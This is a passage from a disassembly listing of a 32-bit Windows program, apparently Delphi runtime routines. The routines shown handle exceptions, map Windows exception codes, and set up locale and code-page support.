CODE XREF: sub_405924+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_405924 endp ; =============== S U B R O U T I N E ======================================= sub_4059A4 proc near ; CODE XREF: sub_405C4C+Dp ; sub_405FA4+Dp ... push ebx push esi push edi test dl, dl jz short loc_4059B3 add esp, 0FFFFFFF0h call sub_402078 loc_4059B3: ; CODE XREF: sub_4059A4+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_4033B0 mov eax, edi test bl, bl jz short loc_4059D8 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_4059D8: ; CODE XREF: sub_4059A4+23j mov eax, edi pop edi pop esi pop ebx retn sub_4059A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059E0 proc near ; CODE XREF: sub_4043CC+14p ; sub_405AA0+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_4059F6 add esp, 0FFFFFFF0h call sub_402078 loc_4059F6: ; CODE XREF: sub_4059E0+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_405A4C push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_4033B0 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405A53 loc_405A3E: ; CODE XREF: sub_4059E0+71j lea eax, [ebp+var_8] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_405A4C: ; DATA XREF: sub_4059E0+1Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405A3E ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059E0+6Bj ; DATA XREF: sub_4059E0+59o mov eax, edi test bl, bl jz short loc_405A68 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_405A68: ; CODE XREF: sub_4059E0+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_4059E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405A74 proc near ; DATA XREF: CODE:00403A84o ; CODE:00403AE0o ... cmp byte ptr [eax+0Ch], 0 jz short locret_405A7F call sub_401F24 locret_405A7F: ; CODE XREF: sub_405A74+4j retn sub_405A74 endp ; --------------------------------------------------------------------------- off_405A80 dd offset dword_405A84 ; DATA XREF: sub_406B98+50r dword_405A84 dd 4554090Eh, 726F7272h, 8636552h, 1000000h db 3 dup(0) dd offset off_401000 db 4 align 10h ; =============== S U B R O U T I N E ======================================= sub_405AA0 proc near ; CODE XREF: sub_405B20:loc_405B61p var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_401320 mov esi, eax jmp short loc_405AB1 ; --------------------------------------------------------------------------- loc_405AB0: ; CODE XREF: sub_405AA0+1Dj inc ebx loc_405AB1: ; CODE XREF: sub_405AA0+Ej cmp ebx, 6 jg short loc_405ABF cmp esi, ds:dword_4091A8[ebx*8] jnz short loc_405AB0 loc_405ABF: ; CODE XREF: sub_405AA0+14j cmp ebx, 6 jg short loc_405AD9 mov ecx, ds:dword_4091AC[ebx*8] mov dl, 1 mov eax, off_403AF8 call sub_4058E8 jmp short loc_405AF6 ; --------------------------------------------------------------------------- loc_405AD9: ; CODE XREF: sub_405AA0+22j mov [esp+10h+var_10], esi mov [esp+10h+var_C], 0 push esp push 0 mov ecx, ds:off_409300 mov dl, 1 mov eax, off_403AF8 call sub_4059E0 loc_405AF6: ; CODE XREF: sub_405AA0+37j mov [eax+0Ch], esi pop ecx pop edx pop esi pop ebx retn sub_405AA0 endp ; --------------------------------------------------------------------------- align 10h off_405B00 dd offset dword_405B04 ; DATA XREF: sub_406B98+3Br dword_405B04 dd 45540A0Eh, 70656378h, 63655274h, 8, 1 dd offset off_401000 dd 4 ; =============== S U B R O U T I N E ======================================= sub_405B20 proc near ; CODE XREF: sub_40128C+16p ; DATA XREF: sub_405FA4+33o ... push ebx mov ebx, edx mov edx, eax dec dl jz short loc_405B35 dec dl jz short loc_405B3D dec edx sub dl, 16h jb short loc_405B45 jmp short loc_405B61 ; --------------------------------------------------------------------------- loc_405B35: ; CODE XREF: sub_405B20+7j mov edx, ds:dword_40A7C4 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B3D: ; CODE XREF: sub_405B20+Bj mov edx, ds:dword_40A7C8 jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B45: ; CODE XREF: sub_405B20+11j and eax, 0FFh lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov edx, eax jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B61: ; CODE XREF: sub_405B20+13j call sub_405AA0 mov edx, eax loc_405B68: ; CODE XREF: sub_405B20+1Bj ; sub_405B20+23j ... push ebx mov eax, edx jmp sub_402308 sub_405B20 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B74 proc near ; CODE XREF: sub_405C30+3p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_405C10 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_405BA9 lea eax, [ebp+var_4] mov edx, ebx call sub_402660 jmp short loc_405BB6 ; --------------------------------------------------------------------------- loc_405BA9: ; CODE XREF: sub_405B74+27j lea edx, [ebp+var_4] mov eax, ds:off_4093B4 call sub_4033B0 loc_405BB6: ; CODE XREF: sub_405B74+33j mov eax, [ebp+var_4] mov [ebp+var_1C], eax mov [ebp+var_18], 0Bh mov [ebp+var_14], esi mov [ebp+var_10], 0Bh mov [ebp+var_C], edi mov [ebp+var_8], 0 lea eax, [ebp+var_1C] push eax push 2 lea edx, [ebp+var_20] mov eax, ds:off_4093D4 call sub_4033B0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, off_404200 call sub_405924 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405C17 loc_405BFF: ; CODE XREF: sub_405B74+A1j lea eax, [ebp+var_20] call sub_4025C8 lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405C10: ; DATA XREF: sub_405B74+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405BFF ; --------------------------------------------------------------------------- loc_405C17: ; CODE XREF: sub_405B74+9Bj ; DATA XREF: sub_405B74+86o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405B74 endp ; =============== S U B R O U T I N E ======================================= sub_405C20 proc near ; CODE XREF: sub_405C30+11p mov esp, ecx mov [esp+0], edx mov ebp, [ebp+0] jmp sub_402308 sub_405C20 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C30 proc near ; DATA XREF: sub_405FA4+67o ; BSS:off_40A020o arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_405B74 lea ecx, [ebp+arg_0] add ecx, 4 mov edx, [ebp+arg_0] call sub_405C20 pop ebp retn 4 sub_405C30 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405C4C proc near ; DATA XREF: sub_405FA4+74o ; BSS:off_40A028o mov ecx, ds:off_409318 mov dl, 1 mov eax, off_404260 call sub_4059A4 call sub_402308 retn sub_405C4C endp ; =============== S U B R O U T I N E ======================================= sub_405C64 proc near ; CODE XREF: sub_405CE4+5p ; sub_405EC8+20p mov eax, [eax] cmp eax, 0C0000092h jg short loc_405C99 jz short loc_405CC8 cmp eax, 0C000008Eh jg short loc_405C8B jz short loc_405CCB sub eax, 0C0000005h jz short loc_405CD4 sub eax, 87h jz short loc_405CC2 dec eax jz short loc_405CD1 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C8B: ; CODE XREF: sub_405C64+10j add eax, 3FFFFF71h sub eax, 2 jb short loc_405CC8 jz short loc_405CCE jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405C99: ; CODE XREF: sub_405C64+7j cmp eax, 0C0000096h jg short loc_405CB1 jz short loc_405CD7 sub eax, 0C0000093h jz short loc_405CD1 dec eax jz short loc_405CBF dec eax jz short loc_405CC5 jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CB1: ; CODE XREF: sub_405C64+3Aj sub eax, 0C00000FDh jz short loc_405CDD sub eax, 3Dh jz short loc_405CDA jmp short loc_405CE0 ; --------------------------------------------------------------------------- loc_405CBF: ; CODE XREF: sub_405C64+46j mov al, 3 retn ; --------------------------------------------------------------------------- loc_405CC2: ; CODE XREF: sub_405C64+20j mov al, 4 retn ; --------------------------------------------------------------------------- loc_405CC5: ; CODE XREF: sub_405C64+49j mov al, 5 retn ; --------------------------------------------------------------------------- loc_405CC8: ; CODE XREF: sub_405C64+9j ; sub_405C64+2Fj mov al, 6 retn ; --------------------------------------------------------------------------- loc_405CCB: ; CODE XREF: sub_405C64+12j mov al, 7 retn ; --------------------------------------------------------------------------- loc_405CCE: ; CODE XREF: sub_405C64+31j mov al, 8 retn ; --------------------------------------------------------------------------- loc_405CD1: ; CODE XREF: sub_405C64+23j ; sub_405C64+43j mov al, 9 retn ; --------------------------------------------------------------------------- loc_405CD4: ; CODE XREF: sub_405C64+19j mov al, 0Bh retn ; --------------------------------------------------------------------------- loc_405CD7: ; CODE XREF: sub_405C64+3Cj mov al, 0Ch retn ; --------------------------------------------------------------------------- loc_405CDA: ; CODE XREF: sub_405C64+57j mov al, 0Dh retn ; --------------------------------------------------------------------------- loc_405CDD: ; CODE XREF: sub_405C64+52j mov al, 0Eh retn ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_405C64+25j ; sub_405C64+33j ... mov al, 16h retn sub_405C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405CE4 proc near ; DATA XREF: sub_405FA4+56o ; BSS:off_40A00Co push ebx mov ebx, eax mov eax, ebx call sub_405C64 and eax, 0FFh mov eax, ds:dword_4091C8[eax*8] pop ebx retn sub_405CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CFC proc near ; CODE XREF: sub_405EC8+54p var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_15C = dword ptr -15Ch var_158 = byte ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = byte ptr -144h var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_125 = byte ptr -125h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFE90h push ebx push esi xor eax, eax mov [ebp+var_170], eax mov [ebp+var_14C], eax mov [ebp+var_154], eax mov [ebp+var_150], eax mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405EB7 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+arg_0] mov ebx, [eax-4] cmp dword ptr [ebx+14h], 0 jnz short loc_405D4D lea edx, [ebp+var_4] mov eax, ds:off_409410 call sub_4033B0 jmp short loc_405D5A ; --------------------------------------------------------------------------- loc_405D4D: ; CODE XREF: sub_405CFC+40j lea edx, [ebp+var_4] mov eax, ds:off_4093A8 call sub_4033B0 loc_405D5A: ; CODE XREF: sub_405CFC+4Fj mov esi, [ebx+18h] push 1Ch lea eax, [ebp+var_20] push eax mov eax, [ebx+0Ch] push eax call sub_403688 ; VirtualQuery cmp [ebp+var_10], 1000h jnz loc_405E2C push 105h lea eax, [ebp+var_125] push eax mov eax, [ebp+var_1C] push eax call sub_403640 ; GetModuleFileNameA test eax, eax jz loc_405E2C mov eax, [ebx+0Ch] mov [ebp+var_148], eax mov [ebp+var_144], 5 lea eax, [ebp+var_150] lea edx, [ebp+var_125] mov ecx, 105h call sub_402814 mov eax, [ebp+var_150] lea edx, [ebp+var_14C] call sub_4044E8 mov eax, [ebp+var_14C] mov [ebp+var_140], eax mov [ebp+var_13C], 0Bh mov eax, [ebp+var_4] mov [ebp+var_138], eax mov [ebp+var_134], 0Bh mov [ebp+var_130], esi mov [ebp+var_12C], 5 lea eax, [ebp+var_148] push eax push 3 lea edx, [ebp+var_154] mov eax, ds:off_4093CC call sub_4033B0 mov ecx, [ebp+var_154] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax jmp short loc_405E86 ; --------------------------------------------------------------------------- loc_405E2C: ; CODE XREF: sub_405CFC+77j ; sub_405CFC+94j mov eax, [ebx+0Ch] mov [ebp+var_16C], eax mov [ebp+var_168], 5 mov eax, [ebp+var_4] mov [ebp+var_164], eax mov [ebp+var_160], 0Bh mov [ebp+var_15C], esi mov [ebp+var_158], 5 lea eax, [ebp+var_16C] push eax push 2 lea edx, [ebp+var_170] mov eax, ds:off_4093E4 call sub_4033B0 mov ecx, [ebp+var_170] mov dl, 1 mov eax, off_404038 call sub_405924 mov ebx, eax loc_405E86: ; CODE XREF: sub_405CFC+12Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405EBE loc_405E93: ; CODE XREF: sub_405CFC+1C0j lea eax, [ebp+var_170] call sub_4025C8 lea eax, [ebp+var_154] mov edx, 3 call sub_4025EC lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405EB7: ; DATA XREF: sub_405CFC+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405E93 ; --------------------------------------------------------------------------- loc_405EBE: ; CODE XREF: sub_405CFC+1BAj ; DATA XREF: sub_405CFC+192o mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_405CFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EC8 proc near ; CODE XREF: sub_4021A4+33p ; DATA XREF: sub_405FA4+61o ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx xor edx, edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_405F83 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_405C64 and eax, 0FFh mov edx, eax add edx, 0FFFFFFFDh sub edx, 8 jb short loc_405F04 jz short loc_405F1B dec edx sub edx, 0Ah jnb short loc_405F26 loc_405F04: ; CODE XREF: sub_405EC8+32j lea eax, dword_4091C8[eax*8] mov ecx, [eax+4] mov eax, [eax] mov dl, 1 call sub_4058E8 mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F1B: ; CODE XREF: sub_405EC8+34j push ebp call sub_405CFC pop ecx mov ebx, eax jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F26: ; CODE XREF: sub_405EC8+3Aj mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_C], eax mov [ebp+var_8], 0 lea eax, [ebp+var_C] push eax push 0 lea edx, [ebp+var_10] mov eax, ds:off_4092D8 call sub_4033B0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, off_403BA8 call sub_405924 mov ebx, eax loc_405F56: ; CODE XREF: sub_405EC8+51j ; sub_405EC8+5Cj mov eax, ebx mov edx, off_403B50 call sub_401FD4 test al, al jz short loc_405F6D mov eax, [ebp+var_4] mov [ebx+0Ch], eax loc_405F6D: ; CODE XREF: sub_405EC8+9Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405F8A loc_405F7A: ; CODE XREF: sub_405EC8+C0j lea eax, [ebp+var_10] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_405F83: ; DATA XREF: sub_405EC8+12o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405F7A ; --------------------------------------------------------------------------- loc_405F8A: ; CODE XREF: sub_405EC8+BAj ; DATA XREF: sub_405EC8+ADo mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_405EC8 endp ; --------------------------------------------------------------------------- align 4 dword_405F94 dd 0FFF897E8h, 1B8FFh, 0DE80000h, 0C3FFFFC6h ; BSS:off_40A004o ; =============== S U B R O U T I N E ======================================= sub_405FA4 proc near ; CODE XREF: sub_406D18:loc_406D5Ep mov ecx, ds:off_409308 mov dl, 1 mov eax, off_403A9C call sub_4059A4 mov ds:dword_40A7C4, eax mov ecx, ds:off_409390 mov dl, 1 mov eax, off_403F24 call sub_4059A4 mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 mov dword ptr [eax], offset sub_405B20 mov eax, ds:off_409334 mov dword ptr [eax], offset dword_405F94 mov eax, ds:off_4092FC mov edx, off_4039D8 mov [eax], edx mov eax, ds:off_40932C mov dword ptr [eax], offset sub_405CE4 mov eax, ds:off_409338 mov dword ptr [eax], offset sub_405EC8 mov eax, offset sub_405C30 mov edx, ds:off_4093A0 mov [edx], eax mov eax, offset sub_405C4C mov edx, ds:off_4092D4 mov [edx], eax retn sub_405FA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406028 proc near ; CODE XREF: sub_406B98+2Cp mov eax, ds:dword_40A7C4 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C4 mov edx, [eax] call dword ptr [edx-8] xor eax, eax mov ds:dword_40A7C4, eax mov eax, ds:dword_40A7C8 mov byte ptr [eax+0Ch], 1 mov eax, ds:dword_40A7C8 call sub_401F50 xor eax, eax mov ds:dword_40A7C8, eax mov eax, ds:off_4092E0 xor edx, edx mov [eax], edx mov eax, ds:off_409334 xor edx, edx mov [eax], edx mov eax, ds:off_4092FC xor edx, edx mov [eax], edx mov eax, ds:off_40932C xor edx, edx mov [eax], edx mov eax, ds:off_409338 xor edx, edx mov [eax], edx mov eax, ds:off_4093A0 xor edx, edx mov [eax], edx retn sub_406028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406094 proc near ; CODE XREF: sub_406D18+4Bp var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h add esp, 0FFFFFF6Ch mov [esp+94h+var_94], 94h push esp call sub_403670 ; GetVersionExA test eax, eax jz short loc_4060E2 mov eax, [esp+94h+var_84] mov ds:dword_4090B4, eax mov eax, [esp+94h+var_90] mov ds:dword_4090B8, eax mov eax, [esp+94h+var_8C] mov ds:dword_4090BC, eax mov eax, [esp+94h+var_88] mov ds:dword_4090C0, eax mov eax, offset dword_4090C4 lea edx, [esp+94h+var_80] mov ecx, 80h call sub_402814 loc_4060E2: ; CODE XREF: sub_406094+15j add esp, 94h retn sub_406094 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4060EC proc near ; CODE XREF: sub_406164+1Bp ; sub_406188+Bp push esi push edi mov edi, edx xor edx, edx test eax, eax jz short loc_40615C cmp byte ptr [eax+edi], 0 jz short loc_40615C test edi, edi jnz short loc_406114 mov al, [eax] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406114: ; CODE XREF: sub_4060EC+12j mov esi, edi dec esi jmp short loc_40611A ; --------------------------------------------------------------------------- loc_406119: ; CODE XREF: sub_4060EC+42j dec esi loc_40611A: ; CODE XREF: sub_4060EC+2Bj test esi, esi jl short loc_406130 mov cl, [eax+esi] and ecx, 0FFh bt ds:dword_4090C8, ecx jb short loc_406119 loc_406130: ; CODE XREF: sub_4060EC+30j mov ecx, edi sub ecx, esi and ecx, 80000001h jns short loc_406141 dec ecx or ecx, 0FFFFFFFEh inc ecx loc_406141: ; CODE XREF: sub_4060EC+4Ej test ecx, ecx jnz short loc_406149 mov dl, 2 jmp short loc_40615C ; --------------------------------------------------------------------------- loc_406149: ; CODE XREF: sub_4060EC+57j mov al, [eax+edi] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40615C mov dl, 1 loc_40615C: ; CODE XREF: sub_4060EC+8j ; sub_4060EC+Ej ... mov eax, edx pop edi pop esi retn sub_4060EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406164 proc near ; CODE XREF: sub_404498+37p push ebx push esi mov esi, edx mov ebx, eax xor eax, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_406184 mov eax, ebx call sub_402A38 mov edx, esi dec edx call sub_4060EC loc_406184: ; CODE XREF: sub_406164+Fj pop esi pop ebx retn sub_406164 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_406188 proc near ; CODE XREF: sub_404654+1Bp ; sub_406224+1Cp xor ecx, ecx cmp byte ptr ds:dword_40A77C, 0 jz short loc_40619A call sub_4060EC mov ecx, eax loc_40619A: ; CODE XREF: sub_406188+9j mov eax, ecx retn sub_406188 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061A0 proc near ; CODE XREF: sub_4061C0+31p push ebx mov ebx, eax cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061B6 push ebx call sub_403698 ; CharNextA sub eax, ebx pop ebx retn ; --------------------------------------------------------------------------- loc_4061B6: ; CODE XREF: sub_4061A0+Aj mov eax, 1 pop ebx retn sub_4061A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4061C0 proc near ; CODE XREF: sub_405474+D1p push ebx push esi mov esi, edx mov ebx, eax mov eax, 1 cmp byte ptr ds:dword_40A77C, 0 jz short loc_4061F6 mov dl, [ebx+esi-1] and edx, 0FFh bt ds:dword_4090C8, edx jnb short loc_4061F6 mov eax, ebx call sub_402A38 add eax, esi dec eax call sub_4061A0 loc_4061F6: ; CODE XREF: sub_4061C0+12j ; sub_4061C0+25j pop esi pop ebx retn sub_4061C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4061FC proc near ; CODE XREF: CODE:00405726p push ebx push esi mov ebx, edx mov edx, ebx call sub_406224 mov esi, eax test bl, bl jz short loc_40621F test eax, eax jz short loc_40621F loc_406211: ; CODE XREF: sub_4061FC+21j mov esi, eax inc eax mov edx, ebx call sub_406224 test eax, eax jnz short loc_406211 loc_40621F: ; CODE XREF: sub_4061FC+Fj ; sub_4061FC+13j mov eax, esi pop esi pop ebx retn sub_4061FC endp ; =============== S U B R O U T I N E ======================================= sub_406224 proc near ; CODE XREF: sub_4061FC+6p ; sub_4061FC+1Ap push ebx push esi push edi mov ebx, edx mov esi, eax mov edx, ebx mov eax, esi call sub_404634 mov edi, eax test edi, edi jz short loc_40625E loc_40623A: ; CODE XREF: sub_406224+38j mov edx, edi sub edx, esi mov eax, esi call sub_406188 sub al, 1 jb short loc_40625E jz short loc_40624D jmp short loc_40624E ; --------------------------------------------------------------------------- loc_40624D: ; CODE XREF: sub_406224+25j inc edi loc_40624E: ; CODE XREF: sub_406224+27j inc edi mov edx, ebx mov eax, edi call sub_404634 mov edi, eax test edi, edi jnz short loc_40623A loc_40625E: ; CODE XREF: sub_406224+14j ; sub_406224+23j mov eax, edi pop edi pop esi pop ebx retn sub_406224 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406264 proc near ; CODE XREF: sub_4062D8+13p var_C = dword ptr -0Ch var_7 = byte ptr -7 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx xor edx, edx mov [ebp+var_C], edx xor edx, edx push ebp push offset loc_4062C8 push dword ptr fs:[edx] mov fs:[edx], esp push 7 lea edx, [ebp+var_7] push edx push 1004h push eax call sub_403638 ; GetLocaleInfoA lea eax, [ebp+var_C] lea edx, [ebp+var_7] mov ecx, 7 call sub_402814 mov eax, [ebp+var_C] push eax call sub_403610 ; GetACP mov edx, eax pop eax call sub_4043F0 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4062CF loc_4062BF: ; CODE XREF: sub_406264+69j lea eax, [ebp+var_C] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4062C8: ; DATA XREF: sub_406264+Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4062BF ; --------------------------------------------------------------------------- loc_4062CF: ; CODE XREF: sub_406264+63j ; DATA XREF: sub_406264+56o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_406264 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062D8 proc near ; CODE XREF: sub_406350+93p ; sub_406350+145p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] add edi, 0FFFFFFECh push edi mov eax, ds:dword_40A770 call sub_406264 push eax call sub_403618 ; GetCPInfo xor esi, esi jmp short loc_406323 ; --------------------------------------------------------------------------- loc_4062FA: ; CODE XREF: sub_4062D8+58j mov al, [edi+esi+6] mov bl, [edi+esi+7] sub bl, al jb short loc_406320 inc ebx mov [ebp+var_1], al loc_40630A: ; CODE XREF: sub_4062D8+46j mov al, [ebp+var_1] and eax, 0FFh bts ds:dword_4090C8, eax inc [ebp+var_1] dec bl jnz short loc_40630A loc_406320: ; CODE XREF: sub_4062D8+2Cj add esi, 2 loc_406323: ; CODE XREF: sub_4062D8+20j cmp esi, 0Ch jge short loc_406332 mov al, [edi+esi+6] or al, [edi+esi+7] jnz short loc_4062FA loc_406332: ; CODE XREF: sub_4062D8+4Ej pop edi pop esi pop ebx pop ecx pop ebp retn sub_4062D8 endp ; =============== S U B R O U T I N E ======================================= sub_406338 proc near ; CODE XREF: sub_406350+76p mov eax, ds:dword_40A774 cmp eax, 1Fh ja short loc_406349 bt ds:dword_409290, eax loc_406349: ; CODE XREF: sub_406338+8j setb al retn sub_406338 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406350 proc near ; CODE XREF: sub_4064C4+1Ep var_196 = byte ptr -196h var_94 = byte ptr -94h push ebp mov ebp, esp add esp, 0FFFFFE68h push ebx push esi push edi mov ds:dword_40A770, 409h mov ds:dword_40A774, 9 mov ds:dword_40A778, 1 call sub_403668 ; GetThreadLocale test eax, eax jz short loc_406388 mov ds:dword_40A770, eax loc_406388: ; CODE XREF: sub_406350+31j test ax, ax jz short loc_4063A8 mov edx, eax and dx, 3FFh movzx edx, dx mov ds:dword_40A774, edx movzx eax, ax shr eax, 0Ah mov ds:dword_40A778, eax loc_4063A8: ; CODE XREF: sub_406350+3Bj mov esi, offset dword_4064A4 mov edi, offset dword_4090C8 mov ecx, 8 rep movsd cmp ds:dword_4090B4, 2 jnz loc_40646D call sub_406338 test al, al jz short loc_4063E2 mov byte ptr ds:dword_40A77C+1, 0 mov byte ptr ds:dword_40A77C, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_4063E2: ; CODE XREF: sub_406350+7Dj push ebp call sub_4062D8 pop ecx mov eax, offset dword_4090C8 mov edx, offset dword_4064A4 mov cl, 20h call sub_401BEC setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_406413 mov byte ptr ds:dword_40A77C+1, 0 jmp loc_40649B ; --------------------------------------------------------------------------- loc_406413: ; CODE XREF: sub_406350+B5j mov eax, 80h lea edx, [ebp+var_94] loc_40641E: ; CODE XREF: sub_406350+D7j mov [edx], al inc eax inc edx cmp eax, 100h jnz short loc_40641E lea eax, [ebp+var_94] lea edx, [ebp+var_196] push edx push 80h push eax push 2 mov eax, ds:dword_40A770 push eax call sub_403660 ; GetStringTypeExA mov eax, 80h lea edx, [ebp+var_196] loc_406454: ; CODE XREF: sub_406350+119j cmp word ptr [edx], 2 setz cl mov byte ptr ds:dword_40A77C+1, cl test cl, cl jnz short loc_40649B add edx, 2 dec eax jnz short loc_406454 jmp short loc_40649B ; --------------------------------------------------------------------------- loc_40646D: ; CODE XREF: sub_406350+70j push 4Ah call sub_4036A0 ; GetSystemMetrics test eax, eax setnz al mov byte ptr ds:dword_40A77C+1, al push 2Ah call sub_4036A0 ; GetSystemMetrics test eax, eax setnz bl mov byte ptr ds:dword_40A77C, bl test bl, bl jz short loc_40649B push ebp call sub_4062D8 pop ecx loc_40649B: ; CODE XREF: sub_406350+8Dj ; sub_406350+BEj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406350 endp ; --------------------------------------------------------------------------- align 4 dword_4064A4 dd 8 dup(0) ; sub_406350+9Eo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064C4 proc near ; CODE XREF: sub_406D18+55p var_40 = dword 